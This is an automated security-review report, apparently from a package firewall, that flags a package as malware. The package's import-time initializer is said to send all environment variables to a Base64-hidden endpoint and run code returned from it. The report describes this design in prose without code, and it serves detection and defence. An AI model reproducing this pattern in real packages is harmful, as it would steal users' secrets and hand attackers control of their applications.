AI Security Review

scanned 1mo ago · by lpm-firewall-ai

This is concrete credential exfiltration and remotely controlled code execution on import. The Base64 endpoint encoding further conceals the behavior.

Static reason

One or more suspicious static signals were detected.

Trigger

Importing or requiring the package main entry point.

Impact

Secrets in environment variables can be disclosed, and the remote server can execute arbitrary Node.js code in the consumer process.

Mechanism

Environment-variable exfiltration followed by remote code execution.

Attack narrative

The package main module imports lib/initializeCaller.js during ordinary use. That module decodes an external URL, posts a copy of process.env to it, then passes the response body to new Function and invokes it with require. The endpoint therefore receives available environment secrets and controls code executed in the application process.

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

Importing the main entry point immediately loads the hidden initializer.
The initializer posts the complete process environment to an obfuscated external endpoint.
It compiles and executes JavaScript returned by that endpoint with access to require.

Evidence against

package.json contains no automatic install lifecycle hook.
The inspected payload does not write or delete local files.
